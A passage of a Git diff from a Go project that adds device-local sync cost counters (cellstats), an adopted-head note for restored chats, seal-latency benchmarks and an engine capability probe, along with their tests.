rebuildFresh deletes the ledger, rebuilds it and reads it back. +func rebuildFresh(t *testing.T, c cell.Cell) total { + t.Helper() + session.StopUsageWriter(session.UsageLedgerPath()) // a writer holds the old file open + if err := os.Remove(session.UsageLedgerPath()); err != nil { + t.Fatal(err) + } + built, err := Rebuild(c, "") + if err != nil { + t.Fatal(err) + } + if !contains(built, "usage.jsonl") { + t.Fatalf("built %v", built) + } + return totalOf(t) +} + +func contains(list []string, s string) bool { + for _, x := range list { + if x == s { + return true + } + } + return false +} + +// The log a take carries does not name the newest turn, but that turn's receipt +// is in the tree: its calls are still the chat's spend. +func TestUsageCountsTheReceiptOfATurnTheCarriedLogDoesNotName(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv(home.EnvVar, t.TempDir()) + e := cellstore.Engine{Binary: bin, DataRoot: t.TempDir()} + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + rec, err := cellstore.NewRecorder(nil, e, c, filepath.Join(t.TempDir(), "wal"), cellstore.Options{}) + if err != nil { + t.Fatal(err) + } + for i := range 3 { + rec.NoteModelCall(executor.ModelCall{Model: "m", Role: "turn", TokensIn: 10, TokensOut: 1, CostMicroUSD: 1000}) + if err := os.WriteFile(filepath.Join(c.Root, "f.txt"), []byte{byte('a' + i)}, 0o644); err != nil { + t.Fatal(err) + } + around(t, rec) + } + rec.Settle(context.Background()) + all, _ := cellstore.ModelCalls(c) + + path := filepath.Join(c.Root, cellstore.TurnsPath) + raw, _ := os.ReadFile(path) + lines := strings.SplitAfter(strings.TrimRight(string(raw), "\n"), "\n") + if err := os.WriteFile(path, []byte(strings.Join(lines[:len(lines)-1], "")), 0o600); err != nil { + t.Fatal(err) + } + if got, err := cellstore.ModelCalls(c); err != nil || len(got) != len(all) || len(all) != 3 { + t.Fatalf("with the newest line missing %d calls are counted (%v), want %d", len(got), err, len(all)) + } +} diff --git a/internal/cellstats/cellstats_test.go b/internal/cellstats/cellstats_test.go new file mode 100644 index 0000000000..5ba8705721 --- /dev/null +++ b/internal/cellstats/cellstats_test.go @@ -0,0 +1,157 @@ +package cellstats_test + +import ( + "context" + "os" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cellstats" + "github.com/Agent-Field/codeaf/internal/cellsync" +) + +type fakeMeter struct{ c cellstats.Counts } + +func (f *fakeMeter) Snapshot() cellstats.Counts { return f.c } + +const golden = `{"V":1,"turn":"t1","turns":2,"frames":1,"objects":14,"bytes_up":20480,"puts":1,"gets":0,"has":0,"bytes_down":0}` + "\n" + +func TestStatsLineShape(t *testing.T) { + m := &fakeMeter{cellstats.Counts{Puts: 1, BytesUp: 20480}} + r := cellstats.NewRecorder(t.TempDir(), "c1", m) + r.OnFlush(cellsync.Flush{Head: "t1", Turns: 2, Frames: 1, Objects: 14, Bytes: 20480}) + got, err := os.ReadFile(r.Path) + if err != nil { + t.Fatal(err) + } + if string(got) != golden { + t.Fatalf("stats line = %q, want %q", got, golden) + } +} + +func TestStatsAreDeltasAndAppendOnly(t *testing.T) { + m := &fakeMeter{} + home := t.TempDir() + r := cellstats.NewRecorder(home, "c1", m) + m.c = cellstats.Counts{Puts: 1, BytesUp: 100} + r.OnFlush(cellsync.Flush{Head: "a"}) + first, _ := os.ReadFile(r.Path) + m.c = cellstats.Counts{Puts: 3, Gets: 2, BytesUp: 250, BytesDown: 40} + r.OnFlush(cellsync.Flush{Head: "b"}) + all, _ := os.ReadFile(r.Path) + if !strings.HasPrefix(string(all), string(first)) { + t.Fatal("a later flush changed an earlier line") + } + lines, err := cellstats.Read(home, "c1") + if err != nil || len(lines) != 2 { + t.Fatalf("lines = %v, err = %v", lines, err) + } + if l := lines[1]; l.Puts != 2 || l.Gets != 2 || l.BytesUp != 150 || l.BytesDown != 40 { + t.Fatalf("second line = %+v, want the growth since the first", l) + } + if tot := cellstats.Total(lines); tot.Puts != 3 || tot.BytesUp != 250 { + t.Fatalf("total = %+v", tot) + } +} + +func TestStatsWriteFailureNeverFailsTheFlush(t *testing.T) { + blocker := t.TempDir() + "/file" + if err := os.WriteFile(blocker, nil, 0o600); err != nil { + t.Fatal(err) + } + r := cellstats.NewRecorder(blocker, "c1", nil) // a file where a directory must be + r.OnFlush(cellsync.Flush{Head: "a"}) + if r.Err() == nil { + t.Fatal("an unwritable stats file must be reported through Err") + } +} + +func TestReadOfACellThatNeverFlushedIsEmpty(t *testing.T) { + lines, err := cellstats.Read(t.TempDir(), "c1") + if err != nil || len(lines) != 0 { + t.Fatalf("lines = %v, err = %v", lines, err) + } +} + +func TestStatsCarryNoPaths(t *testing.T) { + const secretName, secretTitle = "secret-plan-2026.txt", "Quarterly layoffs memo" + s := newSession(t, secretTitle) + s.sealAndFlush(t, map[string]string{"dir/" + secretName: "the body is also secret"}) + raw, err := os.ReadFile(cellstats.Path(s.home, cellID)) + if err != nil || len(raw) == 0 { + t.Fatalf("no stats written: %v", err) + } + for _, leak := range []string{"secret", "layoffs", "Quarterly", "dir/", "body", s.cell.Root, s.home} { + if strings.Contains(string(raw), leak) { + t.Fatalf("stats file leaks %q: %s", leak, raw) + } + } +} + +// The counters of a session equal the server's own count for the same identity. +func TestCountersMatchRelayStats(t *testing.T) { + s := newSession(t, "t") + ctx := context.Background() + if _, err := s.store.Has(ctx, []string{strings.Repeat("a", 64)}); err != nil { + t.Fatal(err) + } + if _, err := s.store.Get(ctx, strings.Repeat("b", 64)); err == nil { // a miss is still a request + t.Fatal("expected not found") + } + s.sealAndFlush(t, map[string]string{"a": "one", "b": "two"}) + lines, err := cellstats.Read(s.home, cellID) + if err != nil || len(lines) == 0 { + t.Fatalf("lines = %v, err = %v", lines, err) + } + want, err := s.client.Stats(ctx) + if err != nil { + t.Fatal(err) + } + got := cellstats.Total(lines) + if got.Puts != want.Puts || got.Gets != want.Gets || got.Has != want.Has || + got.BytesUp != want.BytesIn || got.BytesDown != want.BytesOut { + t.Fatalf("session counters %+v differ from the store's %+v", got, want) + } + if got.Puts == 0 || got.Has != 1 || got.Gets != 1 { + t.Fatalf("the comparison is empty: %+v", got) + } +} + +func TestStatsSettleCarriesWhatNoFlushDid(t *testing.T) { + m := &fakeMeter{} + home := t.TempDir() + r := cellstats.NewRecorder(home, "c1", m) + r.Settle() + if _, err := os.Stat(r.Path); err == nil { + t.Fatal("settling with nothing counted wrote a line") + } + m.c = cellstats.Counts{Gets: 5, BytesDown: 900} + r.Settle() + r.Settle() // the second settle has nothing new to say + lines, err := cellstats.Read(home, "c1") + if err != nil || len(lines) != 1 { + t.Fatalf("lines = %v, err = %v; want one", lines, err) + } + if l := lines[0]; l.Turn != "" || l.Gets != 5 || l.BytesDown != 900 { + t.Fatalf("settled line = %+v", l) + } +} + +func TestStatsReportShowsTheVaultAsItsOwnRow(t *testing.T) { + cell := []cellstats.Line{{V: 1, Turn: "abcdefghijklmnop", Puts: 2, BytesUp: 100}} + vault := []cellstats.Line{{V: 1, Puts: 1, BytesUp: 30}, {V: 1, Gets: 1, BytesDown: 7}} + var out strings.Builder + cellstats.RenderScopes(&out, cell, vault) + rows := strings.Split(strings.TrimSpace(out.String()), "\n") + if len(rows) != 4 || !strings.HasPrefix(rows[2], "total") || !strings.HasPrefix(rows[3], "vault") { + t.Fatalf("report rows = %q; want a flush row, total, then vault", rows) + } + if !strings.Contains(rows[2], " 100 ") || !strings.Contains(rows[3], " 30 ") || !strings.Contains(rows[3], " 7") { + t.Fatalf("the vault row is not kept out of the cell's total:\n%s", out.String()) + } + out.Reset() + cellstats.RenderScopes(&out, nil, nil) + if out.Len() != 0 { + t.Fatalf("an empty report printed %q", out.String()) + } +} diff --git a/internal/cellstats/doc.go b/internal/cellstats/doc.go new file mode 100644 index 0000000000..6a19287c91 --- /dev/null +++ b/internal/cellstats/doc.go @@ -0,0 +1,5 @@ +// Package cellstats keeps the device-local cost counters of contract §11: one +// JSON line per sync flush, holding counts only. A line carries no time, no +// path, no title and no content, so the file is safe to show and safe to send +// when its owner chooses to. Nothing here ever leaves the device by itself. +package cellstats diff --git a/internal/cellstats/line.go b/internal/cellstats/line.go new file mode 100644 index 0000000000..0d3d67f5fc --- /dev/null +++ b/internal/cellstats/line.go @@ -0,0 +1,96 @@ +package cellstats + +import ( + "bufio" + "bytes" + "encoding/json" + "errors" + "fmt" + "io" + "io/fs" + "os" + "path/filepath" +) + +// Line is one flush, exactly as contract §11 freezes it. Every field is a +// count or an opaque id; adding a string field that could hold a name would +// break TestStatsCarryNoPaths, which is the point. +type Line struct { + V int `json:"V"` + Turn string `json:"turn"` + Turns int `json:"turns"` + Frames int `json:"frames"` + Objects int `json:"objects"` + BytesUp int64 `json:"bytes_up"` + Puts int64 `json:"puts"` + Gets int64 `json:"gets"` + Has int64 `json:"has"` + BytesDown int64 `json:"bytes_down"` +} + +// Version is the only line version there is. +const Version = 1 + +// VaultScope names the machine-level scope that holds what carrying the vault +// cost. It is not a cell id and never can be (those are ULIDs), so its lines sit +// beside the cells' in the same folder and are read the same way. +const VaultScope = "vault" + +// Path is where one cell's lines live under a home directory. +func Path(home, cellID string) string { + return filepath.Join(home, "v3", "sync", "stats", cellID+".jsonl") +} + +// Marshal is the one encoding of a line, newline included, shared by the +// stats file and the export so the two can never disagree. +func Marshal(l Line) []byte { + raw, _ := json.Marshal(l) // a struct of scalars cannot fail to encode + return append(raw, '\n') +} + +// Read answers every line of a cell's stats file in append order. A cell that +// never flushed has no file and no lines, which is not an error. +func Read(home, cellID string) ([]Line, error) { + f, err := os.Open(Path(home, cellID)) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + defer f.Close() + return decode(f) +} + +func decode(r io.Reader) ([]Line, error) { + var lines []Line + sc := bufio.NewScanner(r) + for sc.Scan() { + raw := bytes.TrimSpace(sc.Bytes()) + if len(raw) == 0 { + continue + } + var l Line + if err := json.Unmarshal(raw, &l); err != nil { + return nil, fmt.Errorf("cellstats: unreadable line: %w", err) + } + lines = append(lines, l) + } + return lines, sc.Err() +} + +// Total sums a cell's lines. Its Turn is empty: a total names no turn. +func Total(lines []Line) Line { + t := Line{V: Version} + for _, l := range lines { + t.Turns += l.Turns + t.Frames += l.Frames + t.Objects += l.Objects + t.BytesUp += l.BytesUp + t.Puts += l.Puts + t.Gets += l.Gets + t.Has += l.Has + t.BytesDown += l.BytesDown + } + return t +} diff --git a/internal/cellstats/recorder.go b/internal/cellstats/recorder.go new file mode 100644 index 0000000000..58ff690dc9 --- /dev/null +++ b/internal/cellstats/recorder.go @@ -0,0 +1,104 @@ +package cellstats + +import ( + "os" + "path/filepath" + "sync" + + "github.com/Agent-Field/codeaf/internal/cellsync" +) + +// Counts is a snapshot of what one store client has asked of the store so far. +// Its fields match blobstore.Counters so the wiring layer can read one into +// the other without this package importing the decorator. +type Counts struct { + Puts, Gets, Has, BytesUp, BytesDown int64 +} + +// Meter reads a snapshot of the running counters. Keeping the reader this +// small lets any counting store, real or fake, be measured. +type Meter interface{ Snapshot() Counts } + +// MeterFunc makes a function a Meter. +type MeterFunc func() Counts + +// Snapshot implements Meter. +func (f MeterFunc) Snapshot() Counts { return f() } + +// Recorder turns each flush into one appended line. Request and byte figures +// are the meter's growth since the previous flush, so a line is what that one +// flush cost and the lines add up to the meter's total. +type Recorder struct { + Path string + Meter Meter // nil records zero request figures + + mu sync.Mutex + last Counts + err error +} + +// NewRecorder records one cell's flushes under home. A meter is optional. +func NewRecorder(home, cellID string, m Meter) *Recorder { + return &Recorder{Path: Path(home, cellID), Meter: m} +} + +// OnFlush is the cellsync.Batcher hook. It never fails the flush: a stats file +// that cannot be written is kept in Err and the sync carries on. +func (r *Recorder) OnFlush(f cellsync.Flush) { + r.mu.Lock() + defer r.mu.Unlock() + r.err = appendLine(r.Path, r.line(f)) +} + +// Settle writes what the meter has counted since the last line as a line of its +// own with no turn, and writes nothing when nothing was counted. It is how +// requests that no flush carries (a takeover's fetches, the vault's send, a +// publish that failed) still reach the file, so the lines add up to everything +// the store was asked and never to less. +func (r *Recorder) Settle() { + r.mu.Lock() + defer r.mu.Unlock() + if l := r.line(cellsync.Flush{}); l != (Line{V: Version}) { + r.err = appendLine(r.Path, l) + } +} + +// Err is the outcome of the latest write, nil when it worked. +func (r *Recorder) Err() error { + r.mu.Lock() + defer r.mu.Unlock() + return r.err +} + +func (r *Recorder) line(f cellsync.Flush) Line { + l := Line{V: Version, Turn: f.Head, Turns: f.Turns, Frames: f.Frames, Objects: f.Objects} + now := r.snapshot() + l.Puts, l.Gets, l.Has = now.Puts-r.last.Puts, now.Gets-r.last.Gets, now.Has-r.last.Has + l.BytesUp, l.BytesDown = now.BytesUp-r.last.BytesUp, now.BytesDown-r.last.BytesDown + r.last = now + return l +} + +func (r *Recorder) snapshot() Counts { + if r.Meter == nil { + return r.last + } + return r.Meter.Snapshot() +} + +// appendLine adds one line with a single write on an append-only handle, so a +// line is never split and an earlier line is never touched. +func appendLine(path string, l Line) error { + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return err + } + f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + if _, err := f.Write(Marshal(l)); err != nil { + f.Close() + return err + } + return f.Close() +} diff --git a/internal/cellstats/report.go b/internal/cellstats/report.go new file mode 100644 index 0000000000..b4258b37bf --- /dev/null +++ b/internal/cellstats/report.go @@ -0,0 +1,71 @@ +package cellstats + +import ( + "fmt" + "io" + "os" + "path/filepath" +) + +// ExportNotice is the wording shown when the person asks for an export. +const ExportNotice = "counts only: bytes, objects and requests per turn; no content, no paths" + +// Render prints one row per flush and a total row. With no lines it prints +// nothing at all: an empty report is silence, not a table of zeros. +func Render(w io.Writer, lines []Line) { RenderScopes(w, lines, nil) } + +// RenderScopes prints a cell's rows and, as a row of its own, what carrying the +// vault cost on this device. The vault serves every chat, so it is never folded +// into one cell's total. With nothing in either scope it prints nothing. +func RenderScopes(w io.Writer, lines, vault []Line) { + if len(lines)+len(vault) == 0 { + return + } + fmt.Fprintf(w, "%-12s %5s %6s %7s %10s %5s %5s %5s %10s\n", + "turn", "turns", "frames", "objects", "bytes_up", "puts", "gets", "has", "bytes_down") + for _, l := range lines { + row(w, shortID(l.Turn), l) + } + rowIfAny(w, "total", lines) + rowIfAny(w, VaultScope, vault) +} + +// rowIfAny prints the sum of lines under name, or nothing for no lines. +func rowIfAny(w io.Writer, name string, lines []Line) { + if len(lines) > 0 { + row(w, name, Total(lines)) + } +} + +func row(w io.Writer, name string, l Line) { + fmt.Fprintf(w, "%-12s %5d %6d %7d %10d %5d %5d %5d %10d\n", + name, l.Turns, l.Frames, l.Objects, l.BytesUp, l.Puts, l.Gets, l.Has, l.BytesDown) +} + +// shortID is the first ten characters of a turn id; a line no flush carried has +// no turn and shows a dash. +func shortID(id string) string { + if id == "" { + return "-" + } + if len(id) > 10 { + return id[:10] + } + return id +} + +// Export writes the lines, in the stats file's own encoding, to path. It is +// called only on request, and it writes nothing when there is nothing to say. +func Export(path string, lines []Line) error { + if len(lines) == 0 { + return nil + } + var out []byte + for _, l := range lines { + out = append(out, Marshal(l)...) + } + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + return err + } + return os.WriteFile(path, out, 0o600) +} diff --git a/internal/cellstats/rig_test.go b/internal/cellstats/rig_test.go new file mode 100644 index 0000000000..dffacda76c --- /dev/null +++ b/internal/cellstats/rig_test.go @@ -0,0 +1,121 @@ +package cellstats_test + +import ( + "context" + "net/http" + "net/http/httptest" + "sync" + "sync/atomic" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstats" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +const ( + identity = "alice" + cellID = "01J0000000000000000000000A" +) + +// The store wire tests use the fake sign/authenticate pair of contract §16. +func fakeSign(id string) wireauth.Sign { + return func(r *http.Request, _ []byte) { r.Header.Set("X-Test-Device", id) } +} + +func fakeAuth(r *http.Request, _ []byte) (string, string, error) { + id := r.Header.Get("X-Test-Device") + if id == "" { + return "", "", wireauth.ErrUnauthorized + } + return id, "dev_" + id, nil +} + +// metered counts what passes through it the way blobstore.Counting will +// (contract §2.6): one request each, frame length up, bytes returned down. +type metered struct { + blobstore.Store + puts, gets, has, up, down atomic.Int64 +} + +func (m *metered) PutFrame(ctx context.Context, frame []byte) (blobstore.FrameID, error) { + m.puts.Add(1) + m.up.Add(int64(len(frame))) + return m.Store.PutFrame(ctx, frame) +} + +func (m *metered) Get(ctx context.Context, rid string) ([]byte, error) { + m.gets.Add(1) + b, err := m.Store.Get(ctx, rid) + m.down.Add(int64(len(b))) + return b, err +} + +func (m *metered) GetMany(ctx context.Context, rids []string) ([]blobstore.Object, error) { + m.gets.Add(1) + got, err := m.Store.GetMany(ctx, rids) + for _, o := range got { + m.down.Add(int64(len(o.Bytes))) + } + return got, err +} + +func (m *metered) Has(ctx context.Context, rids []string) ([]bool, error) { + m.has.Add(1) + return m.Store.Has(ctx, rids) +} + +func (m *metered) Snapshot() cellstats.Counts { + return cellstats.Counts{Puts: m.puts.Load(), Gets: m.gets.Load(), Has: m.has.Load(), + BytesUp: m.up.Load(), BytesDown: m.down.Load()} +} + +// session is one device driving one cell against a store handler over HTTP. +type session struct { + home string + client *blobstore.HTTP + store *metered + engine *cellsync.FakeEngine + cell cell.Cell + batcher *cellsync.Batcher + rec *cellstats.Recorder + mu sync.Mutex +} + +func newSession(t *testing.T, title string) *session { + t.Helper() + var mems sync.Map + srv := httptest.NewServer(blobstore.Handler(fakeAuth, func(id string) (blobstore.Store, error) { + m, _ := mems.LoadOrStore(id, blobstore.NewMemory()) + return m.(blobstore.Store), nil + })) + t.Cleanup(srv.Close) + s := &session{home: t.TempDir()} + s.client = blobstore.NewHTTP(srv.URL, fakeSign(identity), nil) + s.store = &metered{Store: s.client} + s.engine = cellsync.NewFakeEngine(t.TempDir()) + s.cell = cell.Cell{ID: cellID, Root: t.TempDir()} + s.rec = cellstats.NewRecorder(s.home, cellID, s.store) + dir := directory.NewMemory(directorytest.NewFakeClock().Now).For("dev_alice") + s.batcher = &cellsync.Batcher{ + Publisher: &cellsync.Publisher{Engine: s.engine, Store: s.store, Dir: dir}, + Driving: &cellsync.Driving{Cell: s.cell}, + Info: func() cellsync.PublishInfo { return cellsync.PublishInfo{Class: "chat", Title: title, Size: 7} }, + OnFlush: s.rec.OnFlush, + } + return s +} + +// sealAndFlush seals files as one turn and publishes it. +func (s *session) sealAndFlush(t *testing.T, files map[string]string) { + t.Helper() + s.batcher.Note(cellstore.Turn{ID: s.engine.Seal(s.cell, files)}) + if err := s.batcher.Close(context.Background()); err != nil { + t.Fatal(err) + } +} diff --git a/internal/cellstore/.cell/adopted.json b/internal/cellstore/.cell/adopted.json new file mode 100644 index 0000000000..39a5092135 --- /dev/null +++ b/internal/cellstore/.cell/adopted.json @@ -0,0 +1 @@ +{"V":1,"head":"h","turns_size":0,"transcript_end":0} diff --git a/internal/cellstore/adopted.go b/internal/cellstore/adopted.go new file mode 100644 index 0000000000..1e93373e10 --- /dev/null +++ b/internal/cellstore/adopted.go @@ -0,0 +1,102 @@ +package cellstore + +import ( + "encoding/json" + "os" + "path" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// adoptedPath is where a device notes the head a materialize adopted. +var adoptedPath = path.Join(".cell", "adopted.json") + +// ADOPTED HEAD. A chat that arrives from another machine is restored to a head +// whose own turn line is not in the log it carried: the seal appends the line +// after it snapshots, so the snapshot cannot hold it. The engine adopts that +// head as the workspace's head (its ref log is the truth), and this file is the +// derived note of it that the Go side reads without spawning anything. It is +// NOT a turn record and nothing is ever appended to turns.jsonl for it: it says +// which snapshot the tree stands at, and how big turns.jsonl and the +// transcript were when it did. +// +// It counts only while turns.jsonl is still the size it had then. The next seal +// appends a line, which makes the note stale, and the log speaks for itself +// again. +type adoption struct { + V uint16 `json:"V"` + Head string `json:"head"` + TurnsSize int64 `json:"turns_size"` + TranscriptEnd int64 `json:"transcript_end"` + From string `json:"from,omitempty"` // the device the chat was sealed on, by name +} + +// noteAdopted records that c's tree now stands at head, as materialize left it. +func noteAdopted(c cell.Cell, head string) error { + return writeAdoption(c, adoption{V: schemaV, Head: head}) +} + +func writeAdoption(c cell.Cell, a adoption) error { + a.TurnsSize, a.TranscriptEnd = sizeOf(rel(c, TurnsPath)), sizeOf(rel(c, cell.TranscriptPath)) + raw, err := json.Marshal(a) + if err != nil { + return err + } + return writeFile(rel(c, adoptedPath), append(raw, '\n')) +} + +// AdoptedFrom says which device the chat that c adopted was sealed on. It +// changes nothing when c has no adopted head. +func AdoptedFrom(c cell.Cell, device string) error { + a, ok := readAdoption(c) + if !ok { + return nil + } + a.From = device + return writeAdoption(c, a) +} + +func readAdoption(c cell.Cell) (adoption, bool) { + raw, err := os.ReadFile(rel(c, adoptedPath)) + var a adoption + if err != nil || json.Unmarshal(raw, &a) != nil || a.Head == "" { + return adoption{}, false + } + return a, true +} + +// currentAdoption is the adopted head when nothing has been sealed since. +func currentAdoption(c cell.Cell) (adoption, bool) { + a, ok := readAdoption(c) + if !ok || sizeOf(rel(c, TurnsPath)) != a.TurnsSize { + return adoption{}, false + } + return a, true +} + +// sealed is the adopted head as a head: a turn with no receipt, whose parent is +// the newest line of the log the chat carried. +func (a adoption) sealed(last *Turn) Sealed { + parent := "" + if last != nil { + parent = last.ID + } + t := newTurn(a.Head, parent, time.UnixMilli(0), TurnInfo{}, "", Identity{}) + return Sealed{Turn: t, Receipt: Receipt{V: schemaV, Transcript: Range{Start: a.TranscriptEnd, End: a.TranscriptEnd}}} +} + +// Adopted says which device sealed the head c adopted, "" when it did not say, +// and false when the log's own last turn is the head. +func Adopted(c cell.Cell) (device string, ok bool) { + a, ok := currentAdoption(c) + return a.From, ok +} + +func sizeOf(p string) int64 { + info, err := os.Stat(p) + if err != nil { + return 0 + } + return info.Size() +} diff --git a/internal/cellstore/adopted_test.go b/internal/cellstore/adopted_test.go new file mode 100644 index 0000000000..cab71c9b60 --- /dev/null +++ b/internal/cellstore/adopted_test.go @@ -0,0 +1,53 @@ +package cellstore + +import ( + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +func adoptingCell(t *testing.T) cell.Cell { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + if err := appendTurn(c, newTurn("snap-1", "", time.UnixMilli(1), TurnInfo{}, "r1", Identity{})); err != nil { + t.Fatal(err) + } + if err := writeFile(rel(c, ReceiptsDir+"/r1.json"), []byte(`{"V":1}`)); err != nil { + t.Fatal(err) + } + return c +} + +// A head this device adopted is the head, its parent is the newest line of the +// log the chat carried, and the log shows it as one entry sealed elsewhere. +func TestAdoptedHeadIsTheHeadUntilTheNextSeal(t *testing.T) { + c := adoptingCell(t) + if err := noteAdopted(c, "snap-2"); err != nil { + t.Fatal(err) + } + if err := AdoptedFrom(c, "spark"); err != nil { + t.Fatal(err) + } + head, err := Head(c) + if err != nil || head.Turn.ID != "snap-2" || head.Turn.Parent != "snap-1" { + t.Fatalf("Head = %+v, %v; want the adopted head on top of the log", head, err) + } + entries, err := Log(c) + if err != nil || len(entries) == 0 || !entries[0].IsAdopted || entries[0].Adopted != "spark" || entries[0].Turn.ID != "snap-2" { + t.Fatalf("Log = %+v, %v; want the adopted head first, sealed on spark", entries, err) + } + if turns, _ := Turns(c); len(turns) != 1 { + t.Fatalf("a turn record was invented: %+v", turns) + } + + if err := appendTurn(c, newTurn("snap-3", "snap-2", time.UnixMilli(2), TurnInfo{}, "r3", Identity{})); err != nil { + t.Fatal(err) + } + if _, ok := Adopted(c); ok { + t.Fatal("an adopted head still counts after a seal") + } +} diff --git a/internal/cellstore/bench_test.go b/internal/cellstore/bench_test.go new file mode 100644 index 0000000000..5a85681b4e --- /dev/null +++ b/internal/cellstore/bench_test.go @@ -0,0 +1,120 @@ +package cellstore + +import ( + "context" + "fmt" + "os" + "path/filepath" + "sort" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// fillTree writes n small files spread over n/100 directories. +func fillTree(b *testing.B, root string, n int) { + b.Helper() + for i := 0; i < n; i++ { + dir := filepath.Join(root, "src", fmt.Sprintf("d%03d", i/100)) + if i%100 == 0 { + if err := os.MkdirAll(dir, 0o755); err != nil { + b.Fatal(err) + } + } + if err := os.WriteFile(filepath.Join(dir, fmt.Sprintf("f%03d.txt", i%100)), []byte(fmt.Sprintf("file %d\n", i)), 0o644); err != nil { + b.Fatal(err) + } + } +} + +// percentile of sorted durations, in milliseconds. +func percentile(d []time.Duration, p float64) float64 { + sort.Slice(d, func(i, j int) bool { return d[i] < d[j] }) + return float64(d[int(float64(len(d)-1)*p)]) / float64(time.Millisecond) +} + +// timeSeals runs n seals, each after changing one file, and reports the +// distribution. The first seal (attach + first capture) is outside the loop. +func timeSeals(b *testing.B, e Engine, c cell.Cell, listChanged bool) { + ctx := context.Background() + if _, err := e.Seal(ctx, c, TurnInfo{}); err != nil { + b.Fatal(err) + } + victim := filepath.Join(c.Root, "src", "d005", "f005.txt") + info := TurnInfo{Calls: []Executed{exec1("edit", "")}} + if listChanged { + info.Changed = []string{filepath.Join("src", "d005", "f005.txt")} + } + took := make([]time.Duration, 0, b.N) + b.ResetTimer() + for i := 0; i < b.N; i++ { + if err := os.WriteFile(victim, []byte(fmt.Sprintf("change %d\n", i)), 0o644); err != nil { + b.Fatal(err) + } + start := time.Now() + if _, err := e.Seal(ctx, c, info); err != nil { + b.Fatal(err) + } + took = append(took, time.Since(start)) + } + b.StopTimer() + b.ReportMetric(percentile(took, 0.5), "p50_ms") + b.ReportMetric(percentile(took, 0.95), "p95_ms") + b.ReportMetric(percentile(took, 1), "max_ms") +} + +// BenchmarkSealDelta10k is the task 0.7 number: p50 seal latency on a 10,000 +// file tree with one changed file, through the real engine, when the caller +// does not say what changed and the engine walks the tree (the stat cache +// spares every unchanged file an open and a read). +func BenchmarkSealDelta10k(b *testing.B) { benchSealDelta10k(b, false) } + +// BenchmarkSealDelta10kChanged is the same tree when the caller lists the one +// changed path and the engine visits only it. +func BenchmarkSealDelta10kChanged(b *testing.B) { benchSealDelta10k(b, true) } + +func benchSealDelta10k(b *testing.B, listChanged bool) { + for _, tc := range transportCases { + b.Run(tc.name, func(b *testing.B) { + previous := current + current = tc + defer func() { current = previous }() + e := realEngineB(b) + c, err := cell.CreateIn(b.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + b.Fatal(err) + } + fillTree(b, c.Root, 10000) + timeSeals(b, e, c, listChanged) + }) + } +} + +// BenchmarkSealComposeOnly is everything a seal does except the engine spawn, +// on the same tree shape: the harness's share of the latency. +func BenchmarkSealComposeOnly(b *testing.B) { + fake := &fakeEngine{} + e := Engine{Binary: "engine", DataRoot: b.TempDir(), Run: fake.run} + c, err := cell.CreateIn(b.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + b.Fatal(err) + } + fillTree(b, c.Root, 10000) + timeSeals(b, e, c, false) +} + +// BenchmarkSpawnBaseline is the cost of starting the engine and doing nothing. +func BenchmarkSpawnBaseline(b *testing.B) { + e := realEngineB(b) + took := make([]time.Duration, 0, b.N) + for i := 0; i < b.N; i++ { + start := time.Now() + if _, err := spawn(context.Background(), b.TempDir(), nil, e.Binary, "--version"); err != nil { + b.Fatal(err) + } + took = append(took, time.Since(start)) + } + b.ReportMetric(percentile(took, 0.5), "p50_ms") + b.ReportMetric(percentile(took, 0.95), "p95_ms") +} diff --git a/internal/cellstore/binary.go b/internal/cellstore/binary.go new file mode 100644 index 0000000000..025b1b049e --- /dev/null +++ b/internal/cellstore/binary.go @@ -0,0 +1,60 @@ +package cellstore + +import ( + "bytes" + "context" + "fmt" + "os/exec" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// sealFlag is the engine flag every sealed workspace depends on: without it +// the cell's directory cannot be composed in and the engine would leave its +// own files in the user's folder. +const sealFlag = "--cell-dir" + +const probeTimeout = 10 * time.Second + +// probed remembers the answer per engine path, so the probe costs one spawn +// per process and not one per seal. +var probed sync.Map // path -> error (nil when capable) + +// sealingEngine is the engine that seals: the configured or embedded one and +// never a PATH copy, which may be a different, older program with the same +// name. It is asked what it can do rather than what version it says it is. +func sealingEngine() (string, error) { + bin, err := furrow.ResolveOwned() + if err != nil { + return "", fmt.Errorf("seal: no engine to seal with (set %s, or use a codeaf build that carries one): %w", furrow.BinaryEnvVar, err) + } + if known, ok := probed.Load(bin); ok { + return bin, asError(known) + } + verdict := probe(bin) + probed.Store(bin, verdict) + return bin, verdict +} + +func asError(v any) error { + err, _ := v.(error) + return err +} + +// probe asks the engine's own help whether it knows [sealFlag]. +func probe(bin string) error { + ctx, cancel := context.WithTimeout(context.Background(), probeTimeout) + defer cancel() + var out bytes.Buffer + cmd := exec.CommandContext(ctx, bin, "hook", "turn-end", "--help") //codeaf:plumbing capability probe of the sealing engine + cmd.Stdout = &out + if err := cmd.Run(); err != nil { + return fmt.Errorf("seal: engine %s cannot be probed: %w", bin, err) + } + if !bytes.Contains(out.Bytes(), []byte(sealFlag)) { + return fmt.Errorf("seal: engine %s does not support %s; point %s at a current engine", bin, sealFlag, furrow.BinaryEnvVar) + } + return nil +} diff --git a/internal/cellstore/binary_test.go 